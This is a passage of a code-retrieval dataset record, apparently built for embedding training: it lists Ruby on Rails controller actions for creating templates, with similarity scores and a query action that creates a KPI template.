|format|\n if @project_template.save\n format.html { redirect_to @project_template, notice: 'Project template was successfully created.' }\n format.json { render json: @project_template, status: :created, location: @project_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n authorize! :manage, :all\n @question_template = QuestionTemplate.new(question_template_params)\n\n respond_to do |format|\n if @question_template.save\n format.html do redirect_to question_template_path(@question_template),\n notice: 'Question template was successfully created.'\n end\n format.json { render action: 'show', status: :created, location: @question_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Template.new(template_params)\n @template.last_execute_at = nil\n @template.status = 100\n @template.count = 0\n respond_to do |format|\n if @template.save\n current_user.templates.push(@template)\n current_user.save\n #format.html { redirect_to @template, notice: 'Template was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @template }\n format.json { render json: @template, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @template_shift = TemplateShift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_shift }\n end\n end", "def new\n @template_package = TemplateAuthor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_package }\n end\n end", "def create_template\n self.template = \"template 14231\"\n end", "def create\n @module_template = ModuleTemplate.new(params[:module_template])\n\n respond_to do |format|\n if @module_template.save\n format.html { redirect_to @module_template, notice: 'Module template was successfully created.' }\n format.json { render json: @module_template, status: :created, location: @module_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @module_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @newsletters_template = Newsletters::Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newsletters_template }\n end\n end", "def new\n @email_template = EmailTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_template }\n end\n end", "def new\n @email_template = EmailTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_template }\n end\n end", "def create\n @template = Spree::Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @template }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @host_tpl = HostTpl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host_tpl }\n end\n end", "def new\n @config_template = ConfigTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @config_template }\n format.xml { render :xml => @config_template }\n end\n end", "def create\n restricted\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @invoice_template = InvoiceTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_template }\n end\n end", "def create\n @_template = @site.templates.new(params[:template])\n @_template.created_by = @_template.updated_by = current_user\n\n respond_to do |format|\n if @_template.save\n flash[:notice] = \"Template was successfully created.\"\n format.html { redirect_to([:admin, @site, @_template]) }\n format.xml { render :xml => @_template, :status => :created, :location => @_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @message_template = @company.message_templates.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message_template }\n end\n end", "def new\n @bulk_message_template = BulkMessageTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bulk_message_template }\n end\n end", "def create\n @template = ::Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @print_template = PrintTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print_template }\n end\n end", "def create\n @template = Template.new(template_params)\n\n if @template.save\n render :show, status: :created, location: @template\n else\n render json: @template.errors, status: :unprocessable_entity\n end\n end", "def create\n authorize Template\n args = template_params\n # Swap in the appropriate visibility enum value for the checkbox value\n args[:visibility] = parse_visibility(args, current_user.org)\n\n # creates a new template with version 0 and new family_id\n @template = Template.new(args)\n @template.org_id = current_user.org.id\n @template.locale = current_org.language.abbreviation\n @template.links = if params['template-links'].present?\n ActiveSupport::JSON.decode(params['template-links'])\n else\n { funder: [], sample_plan: [] }\n end\n if @template.save\n redirect_to edit_org_admin_template_path(@template),\n notice: success_message(@template, _('created'))\n else\n flash.now[:alert] = flash.now[:alert] = failure_message(@template, _('create'))\n render :new\n end\n end", "def create\n @description_template = DescriptionTemplate.new(description_template_params)\n\n respond_to do |format|\n if @description_template.save\n format.html { redirect_to @description_template, notice: 'Description template was successfully created.' }\n format.json { render :show, status: :created, location: @description_template }\n else\n format.html { render :new }\n format.json { render json: @description_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html {\n redirect_to @template,\n notice: \"Template #{@template.template_name} was successfully created.\"\n }\n format.json {\n render :show, status: :created, location: @template\n }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @inventory_template = InventoryTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @inventory_template }\n end\n end", "def create\n data = ConfigurationTemplate.new(name: params[:name], description: params[:description],user: current_user)\n data.save\n render json: data\n\n end", "def create\n @page_template = PageTemplate.new(params[:page_template])\n\n respond_to do |format|\n if @page_template.save\n format.html { redirect_to @page_template, notice: 'Page template was successfully created.' }\n format.json { render json: @page_template, status: :created, location: @page_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @policy_template = PolicyTemplate.new(policy_template_params)\n\n respond_to do |format|\n if @policy_template.save\n format.html { redirect_to @policy_template, notice: 'Policy template was successfully created.' }\n format.json { render :show, status: :created, location: @policy_template }\n else\n format.html { render :new }\n format.json { render json: @policy_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @purchase_template = PurchaseTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase_template }\n end\n end", "def create\n @node_template = NodeTemplate.new(params[:node_template])\n\n respond_to do |format|\n if @node_template.save\n format.html { redirect_to @node_template, notice: 'Node template was successfully created.' }\n format.json { render json: @node_template, status: :created, location: @node_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n begin\n @cf_template.validate_template\n rescue StandardError => ex\n flash[:alert] = ex.message\n render action: 'new' and return\n end\n\n respond_to do |format|\n if @cf_template.save\n format.html { redirect_to cf_templates_path, notice: I18n.t('cf_templates.msg.created') }\n format.json { render action: 'show', status: :created, location: @client }\n else\n format.html do\n flash.now[:alert] = @cf_template.errors[:json] if @cf_template.errors[:json]\n render action: 'new'\n end\n format.json { render json: @cf_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @item_template = ItemTemplate.new(item_template_params)\n\n respond_to do |format|\n if @item_template.save\n format.html { redirect_to @item_template, notice: 'Item Template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @policy_template = PolicyTemplate.new\n end", "def new\n @gift_template = GiftTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gift_template }\n end\n end", "def create\n @template = Template.new(template_params)\n\n respond_to do |format|\n if @template.save\n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render json: @template, status: :created, location: @template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @questionnaire_template = QuestionnaireTemplate.new(questionnaire_template_params)\n\n respond_to do |format|\n if @questionnaire_template.save\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire_template }\n else\n format.html { render :new }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @newsletters_template = Newsletters::Template.new(params[:newsletters_template])\n\n respond_to do |format|\n if @newsletters_template.save\n format.html { redirect_to @newsletters_template, notice: 'Template was successfully created.' }\n format.json { render json: @newsletters_template, status: :created, location: @newsletters_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @newsletters_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Template.new(template_params)\n current_user.templates << @template\n\n respond_to do |format|\n if current_user.save\n Field.all.each do |field|\n t_field = TemplateField.new(val: \"\")\n t_field.field = field\n t_field.template = @template \n t_field.save\n end\n format.html { redirect_to dashboard_path, notice: t('template_added') }\n else\n format.html { redirect_to dashboard_path, notice: @template.errors.full_messages[0]}\n end\n end\n end", "def new\n @template = CustomTemplate.new\n\n \trender :layout => \"templates\"\t\n end", "def create\n @item_template = ItemTemplate.new(item_template_params)\n\n respond_to do |format|\n if @item_template.save\n format.html { redirect_to @item_template, notice: 'Item template was successfully created.' }\n format.json { render :show, status: :created, location: @item_template }\n else\n format.html { render :new }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @form_template = FormTemplate.new(form_template_params)\n\n respond_to do |format|\n if @form_template.save\n format.html { redirect_to @form_template, notice: 'Formularvorlage wurde erfolgreich angelegt' }\n format.json { render :show, status: :created, location: @form_template }\n else\n format.html { render :new }\n format.json { render json: @form_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n authorize! :create, NotificationTemplate.new\n\n @notification_template = NotificationTemplate.new\n @supported_events = Notifier.supported_events\n @supported_formats = Notifier.supported_formats\n #prepare some help text arrays for available tokens\n @available_tokens = self.notification_tokens\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notification_template }\n end\n end", "def new\n authorize Template\n @template = current_org.templates.new\n # If the Org is a funder set the visibility to Public otherwise set to Organizational\n # for Orgs that are both, the admin will see controls on the page to let them choose.\n # The default is already 'organisationally_visible' so change it if this is a funder\n @template.visibility = Template.visibilities[:publicly_visible] if current_org.funder?\n end", "def create\n @my_template = MyTemplate.new(my_template_params)\n\n respond_to do |format|\n if @my_template.save\n format.html { redirect_to @my_template, notice: 'My template was successfully created.' }\n format.json { render :show, status: :created, location: @my_template }\n else\n format.html { render :new }\n format.json { render json: @my_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timetable_template = TimetableTemplate.new(timetable_template_params)\n\n respond_to do |format|\n if @timetable_template.save\n format.html { redirect_to @timetable_template, notice: 'Timetable template was successfully created.' }\n format.json { render :show, status: :created, location: @timetable_template }\n else\n format.html { render :new }\n format.json { render json: @timetable_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n current_admin_user\n @tablet = Tablet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tablet }\n end\n end", "def new\n @templates = EmailTemplate.find(:all) \n @email_template = EmailTemplate.new\n @email_template.name = params[:name]\n @email_template.content = EmailTemplate.fetch_default(@email_template.name)\n @email_template.subject = EmailTemplate.fetch_subject_default(@email_template.name) \n @page_title = t('email_templates.new.title', :email_template_name => @email_template.name)\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_template }\n end\n end", "def create\n @email_template = EmailTemplate.new(params[:email_template])\n\n respond_to do |format|\n if @email_template.save\n format.html { redirect_to email_templates_path, notice: 'Email template was successfully created.' }\n format.json { render json: @email_template, status: :created, location: @email_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Template.new(template_params) \n respond_to do |format|\n if @template.save \n format.html { redirect_to @template, notice: 'Template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gift_template = GiftTemplate.new(params[:gift_template])\n\n respond_to do |format|\n if @gift_template.save\n format.html { redirect_to gift_templates_path, notice: 'Gift template was successfully created.' }\n format.json { render json: @gift_template, status: :created, location: @gift_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gift_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @lcb_template = LcbTemplate.new(lcb_template_params)\n\n respond_to do |format|\n if @lcb_template.save\n format.html { redirect_to @lcb_template, notice: 'Lcb template was successfully created.' }\n format.json { render :show, status: :created, location: @lcb_template }\n else\n format.html { render :new }\n format.json { render json: @lcb_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @product_template = ProductTemplate.new(product_template_params)\n\n respond_to do |format|\n if @product_template.save\n format.html { redirect_to @product_template, notice: 'Product template was successfully created.' }\n format.json { render :show, status: :created, location: @product_template }\n else\n format.html { render :new }\n format.json { render json: @product_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @request_template = RequestTemplate.new(request_template_params)\n\n respond_to do |format|\n if @request_template.save\n respond format, 'Request template was successfully created.'\n else\n format.html { render :new }\n format.json { render json: @request_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = EmailTemplate.new(template_params)\n respond_to do |format|\n if @template.save\n format.html { redirect_to email_templates_path, notice: 'template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attr_template = AttrTemplate.new(attr_template_params)\n\n respond_to do |format|\n if @attr_template.save\n format.html { redirect_to @attr_template, notice: 'Attr template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attr_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @attr_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @template = Template.new(template_params)\n if @template.save\n respond_ok \"template\", @template\n else\n respond_err \"template\", @template, @template.errors\n end\n end", "def create\n @template_task = TemplateTask.new(permitted_params_for_template_task)\n\n respond_to do |format|\n if @template_task.save\n format.html { redirect_to template_tasks_path, notice: 'TemplateTask was successfully created.' }\n format.json { render json: @template_task, status: :created, location: @template_task }\n else\n format.html { render action: 'new' }\n format.json { render json: @template_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n template = Template.includes(:phases).find(params[:template_id])\n if template.latest?\n nbr = template.phases.maximum(:number)\n phase = Phase.new(\n template: template,\n modifiable: true,\n number: (nbr.present? ? nbr + 1 : 1)\n )\n authorize phase\n local_referrer = (request.referer.presence || org_admin_templates_path)\n render('/org_admin/templates/container',\n locals: {\n partial_path: 'new',\n template: template,\n phase: phase,\n referrer: local_referrer\n })\n else\n render org_admin_templates_path,\n alert: _('You cannot add a phase to a historical version of a template.')\n end\n end", "def create\n @admin_template_software = TemplateSoftware.new(params[:admin_template_software])\n\n respond_to do |format|\n if @admin_template_software.save\n format.html { redirect_to admin_template_software_url, notice: '공지사항이 작성되었습니다.' }\n format.json { render json: @admin_template_software, status: :created, location: @admin_template_software }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_template_software.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @question_template = QuestionTemplate.new(question_template_params)\n\n respond_to do |format|\n if @question_template.save\n format.html { redirect_to @question_template, notice: 'Question template was successfully created.' }\n format.json { render :show, status: :created, location: @question_template }\n else\n format.html { render :new }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rcadmin_email_template = Rcadmin::EmailTemplate.new(rcadmin_email_template_params)\n\n respond_to do |format|\n if @rcadmin_email_template.save\n\t\tflash[:notice] = 'Email template was successfully created.'\n format.html { redirect_to rcadmin_email_templates_url, notice: 'Email template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @rcadmin_email_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @rcadmin_email_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post_template = PostTemplate.new(post_template_params)\n\n respond_to do |format|\n if @post_template.save\n format.html { redirect_to @post_template, notice: 'Post template was successfully created.' }\n format.json { render :show, status: :created, location: @post_template }\n else\n format.html { render :new }\n format.json { render json: @post_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bulk_message_template = BulkMessageTemplate.new(params[:bulk_message_template])\n\n respond_to do |format|\n if @bulk_message_template.save\n format.html { redirect_to @bulk_message_template, notice: 'Bulk message template was successfully created.' }\n format.json { render json: @bulk_message_template, status: :created, location: @bulk_message_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bulk_message_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end", "def create\n @inspection_template = InspectionTemplate.new(inspection_template_params)\n\n respond_to do |format|\n if @inspection_template.save\n format.html { redirect_to @inspection_template, notice: 'Inspection template was successfully created.' }\n format.json { render action: 'show', status: :created, location: @inspection_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @inspection_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end", "def create\n @email_template = EmailTemplate.new(params[:email_template])\n\n respond_to do |format|\n if @email_template.save\n format.html { redirect_to @email_template, notice: 'Email template was successfully created.' }\n format.json { render json: @email_template, status: :created, location: @email_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(values)\n @client.call(method: :post, path: 'templates', body_values: values)\n end", "def create\n @invoice_template = InvoiceTemplate.new(params[:invoice_template])\n\n respond_to do |format|\n if @invoice_template.save\n format.html { redirect_to @invoice_template, notice: 'Invoice template was successfully created.' }\n format.json { render json: @invoice_template, status: :created, location: @invoice_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @templates = EmailTemplate.find(:all) \n @email_template = EmailTemplate.new(params[:email_template])\n @page_title = t('email_templates.new.title', :email_template_name => @email_template.name) \n respond_to do |format|\n if @email_template.save\n flash[:notice] = t('email_templates.new.success', :email_template_name => @email_template.name)\n format.html { redirect_to(edit_email_template_url(@email_template)) }\n format.xml { render :xml => @email_template, :status => :created, :location => @email_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @email_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @config_template = ConfigTemplate.new(params[:config_template])\n\n respond_to do |format|\n if @config_template.save\n format.html { redirect_to(@config_template, :notice => 'ConfigTemplate was successfully created.') }\n format.json { render :json => @config_template, :status => :created, :location => @config_template }\n format.xml { render :xml => @config_template, :status => :created, :location => @config_template }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @config_template.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @config_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @emailtemplate = Spree::EmailTemplate.new(emailtemplate_params)\n\n respond_to do |format|\n if @emailtemplate.save\n format.html { redirect_to email_templates_url, notice: 'EmailTemplate was successfully created.' }\n format.json { render action: 'show', status: :created, location: @emailtemplate }\n else\n format.html { render action: 'new' }\n format.json { render json: @emailtemplate.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @template_field = TemplateField.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_field }\n end\n end", "def add\n @object = JSON.parse(File.read(\"data/templates/#{params[:identifier]}.js\"))\n @object['identifier'] = \"#{@object['identifier']}_#{current_user.id}\"\n @template = Template.create! @object\n @template.identifier = \"#{@template.id}_#{@template.identifier}\"\n @template.status = 100\n @template.count = 0\n\n current_user.templates.push @template\n respond_to do |format|\n format.html { redirect_to @template }\n end if @template.save\n end", "def create\n @purchase_template = PurchaseTemplate.new(params[:purchase_template])\n\n respond_to do |format|\n if @purchase_template.save\n format.html { redirect_to @purchase_template, notice: 'Purchase template was successfully created.' }\n format.json { render json: @purchase_template, status: :created, location: @purchase_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @meal_template = MealTemplate.new(meal_template_params)\n\n respond_to do |format|\n if @meal_template.save\n format.html { redirect_to @meal_template, notice: 'Meal template was successfully created.' }\n format.json { render :show, status: :created, location: @meal_template }\n else\n format.html { render :new }\n format.json { render json: @meal_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @invitation_template = InvitationTemplate.new(invitation_template_params)\n\n respond_to do |format|\n if @invitation_template.save\n format.html { redirect_to @invitation_template, notice: 'Invitation template was successfully created.' }\n format.json { render :show, status: :created, location: @invitation_template }\n else\n format.html { render :new }\n format.json { render json: @invitation_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @project_tak = ProjectTak.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_tak }\n end\n end", "def create_template( template_name )\n puts \"Creating new template #{template_name} at #{@secondary_username}...\"\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Post.new( uri.request_uri, initheader = {'Content-Type:' => 'application/json'} )\n request.basic_auth(@secondary_username, @secondary_password)\n\n payload = {:name => \"#{template_name}\"}.to_json\n request.body = payload\n\n response = http.request( request )\n new_template_info = JSON.parse( response.body )\n new_template_id = new_template_info['id']\n\n return new_template_id\n end", "def new\n @tktest = Tktest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tktest }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tips_trick }\n end\n end", "def new\n @post = model.new\n\n respond_to do |format|\n format.html { render :action => resource_template(\"new\") }\n end\n end", "def create_new\n render \"create_new\"\n end" ]
[ "0.7628031", "0.7491061", "0.73979896", "0.7318499", "0.72550195", "0.72364664", "0.7184336", "0.7154141", "0.69101703", "0.68970555", "0.68610317", "0.6832197", "0.6823529", "0.67503005", "0.6732363", "0.67298216", "0.6721883", "0.6720589", "0.66778696", "0.666765", "0.66629994", "0.66371", "0.6614692", "0.659859", "0.65943867", "0.65943867", "0.6588325", "0.65818226", "0.6561674", "0.6557278", "0.65499175", "0.6535525", "0.6522622", "0.6519471", "0.65102345", "0.650296", "0.65001416", "0.64921963", "0.6468427", "0.6435764", "0.64311165", "0.64285165", "0.6426925", "0.64173263", "0.6411943", "0.63969296", "0.6395086", "0.6393137", "0.6374798", "0.6371159", "0.6369758", "0.63637435", "0.6357758", "0.63476026", "0.63472056", "0.63455105", "0.6341597", "0.63339764", "0.6326383", "0.63229716", "0.63170904", "0.63158756", "0.630806", "0.63028705", "0.629775", "0.62883943", "0.62838495", "0.6269369", "0.62680954", "0.62542146", "0.6247992", "0.62427133", "0.623818", "0.6237163", "0.62311125", "0.6224349", "0.6215297", "0.62115985", "0.62003404", "0.6199996", "0.6190975", "0.61907256", "0.6189188", "0.61883205", "0.6185344", "0.615328", "0.6148901", "0.6141844", "0.61314845", "0.6123565", "0.61110234", "0.6107732", "0.60948926", "0.60767007", "0.6068656", "0.6065129", "0.6062595", "0.60555077", "0.60535103", "0.6042055" ]
0.7802102
0
POST /admin/kpi_templates POST /admin/kpi_templates.json
def create @admin_kpi_template = Admin::KpiTemplate.new(params[:admin_kpi_template]) respond_to do |format| if @admin_kpi_template.save format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully created.' } format.json { render json: @admin_kpi_template, status: :created, location: @admin_kpi_template } else format.html { render action: "new" } format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @admin_kpi_template = Admin::KpiTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_kpi_template }\n end\n end", "def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end", "def create\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.new(params[:admin_kpi_category_template])\n\n respond_to do |format|\n if @admin_kpi_category_template.save\n format.html { redirect_to @admin_kpi_category_template, notice: 'Kpi category template was successfully created.' }\n format.json { render json: @admin_kpi_category_template, status: :created, location: @admin_kpi_category_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_kpi_category_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def template_params\n params.require(:template).permit(:name, :path, elements: [:key, :type, :content])\n end", "def create_template\n self.template = \"template 14231\"\n end", "def template_params\n params.require(:template).permit(:name, elements: [:type, :ordinal])\n end", "def create(values)\n @client.call(method: :post, path: 'templates', body_values: values)\n end", "def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end", "def list\n @client.call(method: :get, path: 'templates')\n end", "def template_params\n params.require(:template).permit(:title, :desc, :creator, :templateVersion, :fields, :aprovable, :acknowledgeable, :defaultemail, :parent)\n end", "def template_params\n params.fetch(:template, {}).permit([:title, :data])\n end", "def template_params\n params.require(:template).permit(:name, :description, :template_type, :accounting_plan, :accounting_plan_id)\n end", "def list\n @client.make_request :get, templates_path\n end", "def templates; end", "def template_params\n params.require(:template).permit(:name, :content)\n end", "def create_template_defaults\n unless template.blank?\n ProjectConfiguration.templates[template]::CONFIG.each do |k, v|\n config = self.configuration_parameters.build(:name => k.to_s, :value => v.to_s)\n\n if k.to_sym == :application \n config.value = self.name.gsub(/[^0-9a-zA-Z]/,\"_\").underscore\n end \n config.save!\n end\n end\n end", "def create_template_defaults\n unless template.blank?\n ProjectConfiguration.templates[template]::CONFIG.each do |k, v|\n config = self.configuration_parameters.build(:name => k.to_s, :value => v.to_s)\n\n if k.to_sym == :application \n config.value = self.name.gsub(/[^0-9a-zA-Z]/,\"_\").underscore\n end \n config.save!\n end\n end\n end", "def templates\n\n add_breadcrumb \"Download Template\"\n\n @message = \"Creating inventory template. This process might take a while.\"\n\n end", "def index\n @admin_kpi_templates = Admin::KpiTemplate.paginate(:page=>params[:page],:per_page=>20)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_kpi_templates }\n end\n end", "def create\n @admin_template = Template.new(params[:notice])\n @admin_template.user_id=current_user.id\n\n respond_to do |format|\n if @admin_template.save\n format.html { redirect_to admin_templates_url, notice: '공지사항이 작성되었습니다.' }\n format.json { render json: @admin_template, status: :created, location: @admin_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_template(template_name, template_fields)\n data = template_fields\n data[:template] = template_name\n self.api_post(:template, data)\n end", "def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end", "def create\n @template = Template.new(template_params)\n current_user.templates << @template\n\n respond_to do |format|\n if current_user.save\n Field.all.each do |field|\n t_field = TemplateField.new(val: \"\")\n t_field.field = field\n t_field.template = @template \n t_field.save\n end\n format.html { redirect_to dashboard_path, notice: t('template_added') }\n else\n format.html { redirect_to dashboard_path, notice: @template.errors.full_messages[0]}\n end\n end\n end", "def new\n @admin_template = Template.new\n @admin_template.build_template_content\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_template }\n end\n end", "def template_params\n params.require(:template).permit(:file, :description, :name, :html_content)\n end", "def add_templates(host_template)\n raise('wrong type: Centreon:HostTemplate required') unless host_template.is_a?(Centreon::HostTemplate)\n raise('wrong value: host template must be valid') unless !host_template.name.nil? && !host_template.name.empty?\n raise(\"wrong value: templates can't be empty\") if host_template.templates.empty?\n\n @client.post({\n 'action' => 'addtemplate',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [host_template.name, host_template.templates_to_s],\n }.to_json)\n end", "def template_params\n params.require(:template).permit(:content)\n end", "def create\n data = ConfigurationTemplate.new(name: params[:name], description: params[:description],user: current_user)\n data.save\n render json: data\n\n end", "def set_templates(name, templates)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n raise('wrong type: String required') unless templates.is_a?(String)\n raise('wrong value: templates must be valid') unless !templates.nil? && !templates.empty?\n\n @client.post({\n 'action' => 'settemplate',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [name, templates],\n }.to_json)\n end", "def template_params\n params.require(:template).permit(:name, :action)\n end", "def template_params\n params.require(:template).permit(:name)\n end", "def template_params\n params.require(:template).permit(:selected,:theme_color,:template_no,:name, :variant_display_type, :is_allowed_custom_theme)\n #params[:template]\n end", "def create\n @template = Template.new(template_params)\n @template.last_execute_at = nil\n @template.status = 100\n @template.count = 0\n respond_to do |format|\n if @template.save\n current_user.templates.push(@template)\n current_user.save\n #format.html { redirect_to @template, notice: 'Template was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @template }\n format.json { render json: @template, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "def select_and_fill_templates\n template = @user_input.select_template(@label_printer)\n label = fill_in_the_template(template[:text], LABEL_TEMPLATE_NAME)\n @labels << {TEMPLATE_KEY => template[:name]}.merge!(label)\n\n # ask if the user would like to add another label to the print\n select_and_fill_templates if @user_input.another_label?\n\n {:labels => @labels }\n end", 